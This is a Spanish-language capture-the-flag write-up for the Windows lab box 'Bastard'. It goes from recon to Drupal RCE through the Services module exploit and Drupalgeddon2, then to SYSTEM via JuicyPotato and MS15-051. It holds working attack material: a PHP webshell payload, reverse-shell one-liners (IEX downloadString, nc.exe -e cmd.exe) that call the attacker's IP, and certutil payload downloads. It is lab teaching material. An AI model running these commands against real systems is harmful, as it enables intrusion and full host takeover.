Bastard
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Bastardes una cajaWindowsque correDrupal 7.54sobreIIS. La versión es vulnerable a dosRCEdistintos: elCVE-2019-6340del móduloServices(deserialización insegura, ver Drupalgeddon) y el famosoDrupalgeddon2(CVE-2018-7600). Ambos danshellcomont authority\iusr. Desde ahí,SeImpersonatePrivilegepermite escalar conJuicyPotato(abuso de SeImpersonate); como alternativa, elkernelsin parchear cae aMS15-051(exploit de kernel).
Reconocimiento
Identificar el sistema operativo por el TTL
ping -c 1 10.10.10.9
64 bytes from 10.10.10.9: icmp_seq=1 ttl=127 time=115 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo UDP
Antes del TCP, un barrido de los 100 puertos UDP más comunes. El grep -v 'no-response' elimina el ruido de los puertos que no contestan, que en UDP son la inmensa mayoría (la ausencia de respuesta es ambigua: puede ser puerto abierto y callado, o filtrado).
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.9 | grep -v 'no-response'
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-11 09:40 UTC
Initiating UDP Scan at 09:40
Scanning 10.10.10.9 [100 ports]
Completed UDP Scan at 09:40, 2.14s elapsed (100 total ports)
Nmap scan report for 10.10.10.9
Host is up, received user-set.
Scanned at 2025-12-11 09:40:43 UTC for 2s
PORT STATE SERVICE REASON
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.22 secondsLa tabla sale vacía: ni un solo puerto UDP abierto entre los 100 más habituales. Es un descarte, pero un descarte que hay que hacer: si hubiera aparecido un SNMP o un TFTP, la caja habría ido por otro camino.
Escaneo TCP completo
El TCP se lanza con una función del .zshrc. Como esconde el comando real, va con su código, para que el escaneo sea reproducible sin tenerla instalada:
alias cat="batcat --paging=never"
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan | cat -l java
}El equivalente directo, sin la función, es:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.9 -oG scan
Discovered open port 80/tcp on 10.10.10.9
Discovered open port 135/tcp on 10.10.10.9
Discovered open port 49154/tcp on 10.10.10.9
Completed SYN Stealth Scan at 09:41, 26.46s elapsed (65535 total ports)
Nmap scan report for 10.10.10.9
Host is up, received user-set (0.11s latency).
Scanned at 2025-12-11 09:41:10 UTC for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127Tres puertos, y la columna REASON confirma por segunda vía lo que decía el ping: ttl 127. Que los 65532 restantes salgan como filtered (y no closed) indica un cortafuegos que descarta paquetes en silencio en lugar de responder con un RST.
La segunda función, extractPorts, no escanea: parsea el fichero scan en formato grepable y deja los puertos en el portapapeles.
extractPorts () {
echo -e "Extracting information..."
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
{
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
} >> extractPorts.tmp
echo "$ports" | xclip -sel clip
echo -e "Ports copied to clipboard\n"
cat extractPorts.tmp
rm extractPorts.tmp
}extractPorts scan
Extracting information...
IP Address: 10.10.10.9
Open ports: 80,135,49154
Ports copied to clipboard
IP Address: 10.10.10.9
Open ports: 80,135,49154Versiones y scripts sobre los puertos abiertos
Y la tercera, jmap2, lanza el escaneo de versiones contra esos tres puertos:
jmap2 () {
if [ "$#" -ne 2 ]
then
echo "Uso: jmap2 <ip> <ports>"
return 1
fi
local ip="$1"
local ports="$2"
nmap -p"$ports" -sCV "$ip" | cat -l java
}nmap -p80,135,49154 -sCV 10.10.10.9
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsEl 135 y el 49154 son RPC, poco aprovechables sin credenciales. El vector está en el 80: IIS 7.5 sirviendo un Drupal 7. Y el robots.txt, que existe para decirle a los buscadores qué no indexar, hace justo lo contrario para nosotros: nos entrega un mapa de la instalación, con /CHANGELOG.txt entre las 36 entradas. Ese fichero es el que suele llevar la versión exacta.
HTTP - TCP 80: identificar tecnologías
whatweb http://10.10.10.9
http://10.10.10.9 [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to Bastard | Bastard], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]Un dato nuevo respecto a nmap: PHP 5.3.28, una versión de 2013 ya fuera de soporte. Wappalyzer, desde el navegador, añade la versión de la librería JavaScript:

CMS Drupal 7
Programming languages PHP 5.3.28
Web frameworks Microsoft ASP.NET
Operating systems Windows Server
Web servers IIS 7.5
JavaScript libraries jQuery 1.4.4jQuery 1.4.4 es de 2010 y arrastra fallos conocidos de XSS y contaminación de prototipos. Es una pista de lo desactualizado que está todo, pero no un vector directo: la portada solo tiene un formulario de login. Seguimos con el CMS.
HTTP - TCP 80: código fuente

<script type="text/javascript" src="http://10.10.10.9/misc/jquery.js?v=1.4.4"></script>
<script type="text/javascript" src="http://10.10.10.9/misc/jquery.once.js?v=1.2"></script>
<script type="text/javascript" src="http://10.10.10.9/misc/drupal.js?on28x3"></script>
jQuery.extend(Drupal.settings, {"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik", ...
<body class="html front not-logged-in one-sidebar sidebar-first page-node" >El código fuente no esconde nada: es el HTML estándar de Drupal con el tema bartik por defecto. Confirma la versión de jQuery y poco más. Otro descarte que anotar antes de pasar al fuzzing.
HTTP - TCP 80: descubrimiento de rutas
gobuster dir -u http://10.10.10.9/ -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 2>/dev/null
/modules (Status: 301) [Size: 149] [--> http://10.10.10.9/modules/]
/themes (Status: 301) [Size: 148] [--> http://10.10.10.9/themes/]
/misc (Status: 301) [Size: 146] [--> http://10.10.10.9/misc/]
/search (Status: 403) [Size: 1233]
/user (Status: 200) [Size: 7411]
/scripts (Status: 301) [Size: 149] [--> http://10.10.10.9/scripts/]
/admin (Status: 403) [Size: 1233]
/tag (Status: 403) [Size: 1233]
/sites (Status: 301) [Size: 147] [--> http://10.10.10.9/sites/]
/template (Status: 403) [Size: 1233]
/includes (Status: 301) [Size: 150] [--> http://10.10.10.9/includes/]
/profiles (Status: 301) [Size: 150] [--> http://10.10.10.9/profiles/]
/Misc (Status: 301) [Size: 146] [--> http://10.10.10.9/Misc/]
/root (Status: 403) [Size: 1233]
/repository (Status: 403) [Size: 1233]Muchísimas rutas, pero casi todas son el esqueleto estándar de Drupal (las mismas que ya listaba el robots.txt) o duplicados por mayúsculas, porque Windows no distingue mayúsculas de minúsculas en las rutas. Antes de perder tiempo revisándolas una a una, conviene enumerar el CMS con una herramienta que lo entienda.
Enumeración de Drupal con droopescan
droopescan tiene dependencias de Python que chocan con las versiones modernas, así que lo más limpio es lanzarlo dentro de un contenedor:
docker run -it --rm --entrypoint /bin/bash asannou/droopescan
Unable to find image 'asannou/droopescan:latest' locally
latest: Pulling from asannou/droopescan
...
Status: Downloaded newer image for asannou/droopescan:latest
root@331332a0b0c0:/wd# droopescan
v1.33.7
Example invocations:
droopescan scan drupal -u URL_HERE
droopescan scan silverstripe -u URL_HEREdroopescan scan drupal -u http://10.10.10.9/ --threads-scan 100
[+] Plugins found:
ctools http://10.10.10.9/sites/all/modules/ctools/
libraries http://10.10.10.9/sites/all/modules/libraries/
services http://10.10.10.9/sites/all/modules/services/
profile http://10.10.10.9/modules/profile/
php http://10.10.10.9/modules/php/
image http://10.10.10.9/modules/image/
[+] Themes found:
seven http://10.10.10.9/themes/seven/
garland http://10.10.10.9/themes/garland/
[+] Possible version(s):
7.54
[+] Possible interesting urls found:
Default changelog file - http://10.10.10.9/CHANGELOG.txt
Default admin - http://10.10.10.9/user/login
[+] Scan finished (0:52:32.592174 elapsed)Cincuenta y dos minutos de escaneo (lento, porque va probando rutas conocidas una a una), pero con dos resultados que valen su peso: la versión probable 7.54 y, sobre todo, el módulo services instalado. Ese módulo es el que expone la API REST de Drupal, y tiene un RCE propio.
Confirmar la versión: CHANGELOG.txt
droopescan dice "posible", así que lo confirmamos leyendo el fichero que el robots.txt ya nos había señalado:

Drupal 7.54, 2017-02-01Versión fijada: Drupal 7.54.
Búsqueda de exploits
Con la versión cerrada, searchsploit. La búsqueda se hace por 7.x y no por 7.54 a propósito: los exploits genéricos de una rama cubren más versiones y suelen estar mejor probados que los que apuntan a una versión exacta.
searchsploit 'Drupal 7.x'
searchsploit -m php/webapps/41564.php
Exploit Title | Path
----------------------------------------------------------------------------------------------
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (Metasploit) | php/webapps/44482.rb
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | php/remote/40130.rb
----------------------------------------------------------------------------------------------
Exploit: Drupal 7.x Module Services - Remote Code Execution
URL: https://www.exploit-db.com/exploits/41564
Path: /usr/share/exploitdb/exploits/php/webapps/41564.php
Verified: True
File Type: C++ source, ASCII text
Copied to: /home/krmena/41564.phpHay dos candidatos fuertes, así que mostramos ambos: el 41564.php del módulo Services (que droopescan acaba de confirmar que está instalado) y el 44449.rb de Drupalgeddon2.
RCE: CVE-2019-6340 (módulo Services)
Leer el exploit antes de lanzarlo
Nunca se ejecuta un exploit descargado sin abrirlo. En este caso además es obligatorio, porque trae valores de ejemplo que no sirven:

#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
define('CONTROLLER', 'user');
define('ACTION', 'login');
$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];La cabecera describe la cadena completa en tres fases: (1) una SQLi para robar el contenido del cache del endpoint junto con las credenciales de administrador, (2) alterar ese cache para poder escribir un fichero y escribirlo, y (3) restaurar el cache para no dejar la instalación rota. Todo ello arranca de una deserialización insegura en el login del módulo (deserialización insegura en Drupal).
Tres cosas hay que tocar: $url (trivial), el nombre del fichero y su contenido (el payload por defecto es un eval(file_get_contents('php://input')), cómodo pero incómodo de usar desde curl) y, la difícil, $endpoint_path.
Localizar el endpoint REST
El endpoint_path es la ruta bajo la que el módulo Services publica su API, y la elige quien instala el módulo. El valor de ejemplo del exploit no tiene por qué coincidir, y aquí no coincide:
http://10.10.10.9/rest_endpoint
Page not found
The requested page "/rest_endpoint" could not be found.Hay que descubrir el nombre real. En Drupal, todo el contenido publicado cuelga de /node/<id> con un identificador numérico, y ahí entran artículos, páginas y a veces la documentación interna de la propia API (concepto recogido en la página de Drupal de HackTricks). Recorriendo los nodos desde el 1:
http://10.10.10.9/node/1
REST
api_testEl nodo publica un bloque llamado REST con un enlace api_test, que es el nombre visible del endpoint. Siguiéndolo llegamos a la ruta real, y el servicio se identifica solo:
http://10.10.10.9/rest
Services Endpoint "rest_endpoint" has been setup successfully.Aquí hay una distinción que conviene no mezclar, porque es el motivo de que el exploit fallase: el nombre interno del endpoint sí es rest_endpoint (por eso $endpoint se queda como está), pero la ruta por la que se accede es /rest. El exploit usaba el nombre interno también como ruta.
Ajustar el exploit
![Código del exploit editado: $url apunta a 10.10.10.9, $endpoint_path a /rest, y el bloque $file ahora escribe shell.php con system($_GET["cmd"])](../assets/img/bastard/bastard-exploit-edit-011202.webp)
$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'shell.php',
'data' => '<?php system($_GET[\"cmd\"]); ?>'
];El payload se cambia por una webshell clásica con parámetro cmd, que se maneja con un curl de una línea en lugar de tener que mandar el código por el cuerpo de la petición.
Subir la webshell
php drupal_exploit.php
curl "http://10.10.10.9/shell.php?cmd=whoami"
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Website: https://www.ambionics.io/blog/drupal-services-module-rce
Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written: http://10.10.10.9/shell.php
nt authority\iusrLa salida sigue las tres fases de la cabecera: guarda la sesión y el usuario robados por la SQLi, informa de que el cache tenía 7 entradas (las que va a manipular y luego restaurar) y confirma la escritura del fichero. El curl cierra el círculo: tenemos RCE como nt authority\iusr, la cuenta anónima de IIS.
De webshell a reverse shell
Un ?cmd= por curl no da estado ni comodidad. Cargamos en memoria el Invoke-PowerShellTcp de Nishang, que abre una shell de PowerShell contra nuestro listener sin tocar el disco de la víctima:

samratashok / nishang -> nishang / Shells / Invoke-PowerShellTcp.ps1wget https://github.com/samratashok/nishang/raw/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
nano Invoke-PowerShellTcp.ps1
mv Invoke-PowerShellTcp.ps1 pwned.ps1
tail -n 2 pwned.ps1
HTTP request sent, awaiting response ... 200 OK
Length: 4339 (4.2K) [text/plain]
Saving to: 'Invoke-PowerShellTcp.ps1'
'Invoke-PowerShellTcp.ps1' saved [4339/4339]
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 4444El detalle que hace que esto funcione está en el tail: el script de Nishang solo define la función Invoke-PowerShellTcp, no la ejecuta. Hay que añadir a mano, al final del fichero, la llamada con nuestra IP y nuestro puerto. Sin esa línea, el servidor descarga el script, define la función y no pasa nada más.
Con el fichero listo, el listener y el servidor web que lo sirve. Aquí se usa Penelope, que hace de nc con esteroides (mejora la TTY, registra la sesión en disco y aguanta varias shells a la vez):
penelope
python3 -m http.server 80curl "http://10.10.10.9/shell.php?cmd=powershell%20IEX(New-Object%20Net.WebClient).downloadString('http://10.10.16.4/pwned.ps1')"
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 10.10.16.4
[+] Got reverse shell from BASTARD~10.10.10.9-Microsoft_Windows_Server_2008_R2_Datacenter SessionID <1>
[+] Added readline support ...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /root/.penelope/sessions/BASTARD~10.10.10.9-Microsoft_Windows_Server_2008_R2_Datacenter/2025_12_13-17_47_52-266.log
PS C:\inetpub\drupal-7.54> whoami
nt authority\iusr
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 17:47:48] "GET /pwned.ps1 HTTP/1.1" 200 -El puerto del listener (4444) es el mismo que se escribió en la última línea del .ps1: si no coinciden, la conexión nunca llega. El log del http.server es la prueba de que la víctima descargó el script, y Penelope ya nos adelanta el sistema operativo (Windows_Server_2008_R2_Datacenter) y el directorio del CMS: C:\inetpub\drupal-7.54.
RCE alternativo: Drupalgeddon2 (CVE-2018-7600)
El mismo Drupal 7.54 es vulnerable a Drupalgeddon2 (CVE-2018-7600), un RCE directo en el core por saneamiento incompleto de los Render Arrays en peticiones AJAX: el atacante inyecta propiedades como #post_render o #lazy_builder a través de parámetros de URL y datos de formulario, y Drupal acaba invocando la función del sistema que se le indique.
searchsploit 'drupal 7.x'
searchsploit -m php/webapps/44449.rb
mv 44449.rb drupal_exploit.rb
Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
URL: https://www.exploit-db.com/exploits/44449
Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
Codes: CVE-2018-7600
Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/krmena/machines/bastart/exploits/44449.rbEste es de los de "pulsar un botón": no hay que editar nada.
ruby drupal_exploit.rb http://10.10.10.9
[*] --==[::#Drupalggedon2::]==--
[i] Target : http://10.10.10.9/
[+] Found : http://10.10.10.9/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.54
[*] Testing: Form (user/password)
[+] Result : Form valid
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
[*] Testing: Code Execution (Method: name)
[i] Payload: echo OJBGYGSW
[+] Result : OJBGYGSW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
[*] Testing: Writing To Web Root (./)
[!] Target is NOT exploitable [2-2] (HTTP Response: 200)... Got an empty response back
[*] Testing: Writing To Web Root (sites/default/)
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
[*] Testing: Writing To Web Root (sites/default/files/)
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
[!] FAILED : Couldn't find a writeable web path
[*] Dropping back to direct OS commands
drupalgeddon2>> whoami
nt authority\iusrMerece la pena leer esta salida entera en vez de quedarse con el resultado, porque enseña cómo está diseñado un exploit bien hecho. Primero verifica la versión por el CHANGELOG.txt, luego comprueba que el formulario responde, después valida la ejecución de código con un echo de una cadena aleatoria (OJBGYGSW) y solo entonces intenta lo interesante. Y cuando falla al escribir la webshell en las tres rutas que prueba (permisos de escritura en el web root de IIS), no se rinde: degrada a un prompt que ejecuta comandos OS directos. Mismo destino, otro camino.
Flag de usuario
Ambos caminos terminan en el mismo punto, nt authority\iusr. La flag está en el escritorio del único usuario real de la máquina:
cd C:\Users
dir
type dimitris\desktop\user.txt
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 19/3/2017 1:20 Administrator
d---- 19/3/2017 1:54 Classic .NET AppPool
d---- 19/3/2017 7:35 dimitris
d-r-- 14/7/2009 7:57 Public
PS C:\Users> type dimitris\desktop\user.txt
ad659ec638f51bfb6a2f583dfbe78166Solo hay una cuenta de persona (dimitris) además de Administrator y la de servicio del pool de .NET. Eso simplifica el objetivo: no hay pivote lateral, la siguiente parada es SYSTEM.
Escalada de privilegios
Abuso de SeImpersonatePrivilege con JuicyPotato
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================== ========================================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enablediusr tiene SeImpersonatePrivilege en Enabled, la puerta clásica a SYSTEM vía JuicyPotato. Es un privilegio que las cuentas de servicio (IIS, SQL Server) llevan de serie porque lo necesitan para atender peticiones en nombre de terceros, y ahí está el problema: quien puede suplantar a un cliente puede suplantar al que le convenga.
Antes de nada, identificar el sistema operativo con precisión, porque es lo que decide qué CLSID usar:
systeminfo
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600Un Windows Server 2008 R2 Datacenter, build 7600, es decir la RTM sin ningún Service Pack. Ese dato importará también para la vía alternativa.
Subir nc.exe y JuicyPotato
Necesitamos dos binarios en la máquina. Primero netcat para Windows, que se descarga de eternallybored.org (el proyecto que mantiene compilaciones actualizadas de la utilidad original):
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip &>/dev/null
unzip netcat-win32-1.12.zip &>/dev/null
rm nc.exe
mv nc64.exe nc.exe
python3 -m http.server 80cd C:\Windows\temp
mkdir privesc
cd privesc
certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe nc.exe
PS C:\Windows\temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 18:11:20] "GET /nc.exe HTTP/1.1" 200 -El rm nc.exe seguido de mv nc64.exe nc.exe no es un capricho: el zip trae la versión de 32 y la de 64 bits, y aquí se sube la de 64 con el nombre corto. certutil.exe es un binario firmado de Windows cuya opción -urlcache -split sirve como descargador HTTP: se usa porque está siempre presente y no levanta las sospechas que levantaría subir una herramienta de transferencia.
Después, JuicyPotato desde su repositorio oficial:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe &>/dev/null
mv JuicyPotato.exe JP.exe
python3 -m http.server 80certutil.exe -f -urlcache -split http://10.10.16.4/JP.exe JP.exe
dir
PS C:\Windows\temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/JP.exe JP.exe
CertUtil: -URLCache command completed successfully.
PS C:\Windows\temp\privesc> dir
Directory: C:\Windows\temp\privesc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 13/12/2025 8:12 347648 JP.exe
-a--- 13/12/2025 8:11 45272 nc.exeLos dos ficheros están en su sitio y con el tamaño esperado. El dir es la verificación: si certutil hubiera fallado a medias, el fichero estaría truncado y el exploit fallaría con un error críptico.
Elegir el CLSID correcto
JuicyPotato necesita que le indiquemos un CLSID: el identificador de un objeto COM que el sistema arranque bajo una cuenta privilegiada, que es a quien vamos a suplantar. Cada versión de Windows tiene los suyos, y el repositorio publica listas por sistema operativo:

Windows Server 2008 R2 Enterprise
LocalService AppId CLSID User
wuauserv {653C5148-4DCE-4905-9CFD-1B23662D3D9E} {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} NT AUTHORITY\SYSTEM
wuauserv {653C5148-4DCE-4905-9CFD-1B23662D3D9E} {e60687f7-01a1-40aa-86ac-db1cbf673334} NT AUTHORITY\SYSTEM
winmgmt {8BC3F05E-D86B-11D0-A075-00C04FB68820} {C49E32C6-BC8B-11d2-85D4-00105A1F8304} NT AUTHORITY\SYSTEM
TrustedInstaller {752073A2-23F2-4396-85F0-8FDB879ED0ED} {752073A1-23F2-4396-85F0-8FDB879ED0ED} NT AUTHORITY\SYSTEMUn matiz honesto: la lista disponible es la de Server 2008 R2 Enterprise y nuestra máquina es Datacenter. No es la misma edición, pero comparten el mismo núcleo y el mismo conjunto de servicios COM, así que los CLSID tienen buenas probabilidades de valer. Tomamos el de wuauserv (el servicio de Windows Update), que corre como NT AUTHORITY\SYSTEM.
Lanzar JuicyPotato
.\JP.exe -l 1337 -p cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd.exe 10.10.16.4 1234" -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"Cada flag cuenta: -l 1337 es el puerto local donde JuicyPotato monta su falso servidor COM, -p cmd.exe el programa a lanzar, -a sus argumentos (el nc.exe que acabamos de subir apuntando a nuestro listener), -t * prueba las dos técnicas de creación de proceso (CreateProcessWithToken y CreateProcessAsUser) y -c es el CLSID elegido.

[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
...
C:\Windows\system32>whoami
nt authority\systemEl authresult 0 y el ;NT AUTHORITY\SYSTEM junto al CLSID son la confirmación de que la suplantación funcionó: el objeto COM se autenticó contra nuestro servidor falso entregándonos su token.
Flag de root

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
8c09d68eeaa4822b83fa5b1a00a2b709Caja pwneada.
Vía alternativa: exploit de kernel MS15-051
Un Server 2008 R2 RTM sin hotfixes también cae por kernel. El primer intento es windows-exploit-suggester, que compara la salida de systeminfo contra la base de datos de boletines de Microsoft:
python2 windows-exploit-suggester.py -u
python2 windows-exploit-suggester.py --database 2025-12-13-mssb.xls --systeminfo systeminfo.txt![Salida de windows-exploit-suggester: 0 hotfixes contra 197 boletines, versión identificada como Windows 2008 R2 64-bit, y una lista de MS13-009 a MS09-072 marcados con [M] y [E]](../assets/img/bastard/bastard-wes-191931.webp)
[*] initiating winsploit version 3.3...
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930)
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802)
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957)
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852)El 0 hotfix(es) lo dice todo: la máquina no tiene ni una actualización instalada, y por eso quedan 197 boletines sin descartar. El problema es el contrario al esperado: hay demasiados candidatos y la herramienta solo imprime enlaces concretos para MS12-037, que son dos PoC de Internet Explorer sin utilidad para escalar privilegios. La lista es orientativa, no accionable.
Cambiamos a Sherlock, que en vez de comparar contra una base de datos consulta el estado real del sistema desde dentro:

rasta-mouse / Sherlock (Public archive)
This repository was archived by the owner on Sep 17, 2021. It is now read-only.
Deprecated. Have a look at Watson instead.El propio repositorio avisa de que está archivado y recomienda Watson. Para un Server 2008 R2 sigue sirviendo perfectamente, pero conviene saberlo: en sistemas modernos hay que usar el sucesor.
git clone https://github.com/rasta-mouse/Sherlock
cd Sherlock
python3 -m http.server 80IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/Sherlock.ps1')
Cloning into 'Sherlock'...
Receiving objects: 100% (75/75), 33.97 KiB | 6.79 MiB/s, done.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 19:07:04] "GET /Sherlock.ps1 HTTP/1.1" 200 -
PS C:\> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/Sherlock.ps1')
PS C:\Windows\Temp\privesc>El IEX carga el script en memoria: no deja fichero en disco y, al terminar, las funciones quedan disponibles en esa sesión de PowerShell.
Find-AllVulns
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
VulnStatus : Appears VulnerableMS15-051 (elevación por kernel) es de los más fiables que existen para esta generación de Windows. En lugar del binario adjunto al boletín, usamos el compilado del repositorio de SecWiki:

SecWiki / windows-kernel-exploits / MS15-051 / README.md
The POC was from @hfiref0x
Vulnerability reference: MS15-051 / CVE-2015-1701
Usage
c:\> MS15-051.exe whoamiEl uso que documenta el README es la clave: el binario no abre una shell, sino que ejecuta como SYSTEM el comando que se le pase como argumento. Así que primero lo probamos con whoami para confirmar que funciona:
certutil.exe -f -urlcache -split http://10.10.16.4/ms15-051x64.exe ms15-051x64.exe
.\ms15-051x64.exe whoami
PS C:\Windows\Temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/ms15-051x64.exe ms15-051x64.exe
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp\privesc> .\ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 1672 created.
nt authority\systemConfirmado. Ahora, con el listener a la escucha, le pasamos el nc.exe que ya habíamos subido para convertirlo en una shell de verdad:
rlwrap nc -nlvp 4321.\ms15-051x64.exe "nc.exe -e cmd 10.10.16.4 4321"
listening on [any] 4321 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.9] 49290
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\Temp\privesc>whoami
nt authority\system
C:\Windows\Temp\privesc>type c:\Users\administrator\desktop\root.txt
8c09d68eeaa4822b83fa5b1a00a2b709Misma flag por la segunda vía. rlwrap envuelve al nc para darle histórico de comandos y edición de línea, que una shell de cmd.exe cruda no tiene.
Cadena de ataque
HTTP/IIS 7.5 -> Drupal 7.54 (robots.txt -> CHANGELOG.txt, droopescan: módulo services)
│ searchsploit: dos RCE disponibles
▼
CVE-2019-6340 (Services) ──┐ Drupalgeddon2 (CVE-2018-7600)
│ /node/1 -> api_test │ │ exploit "de botón"
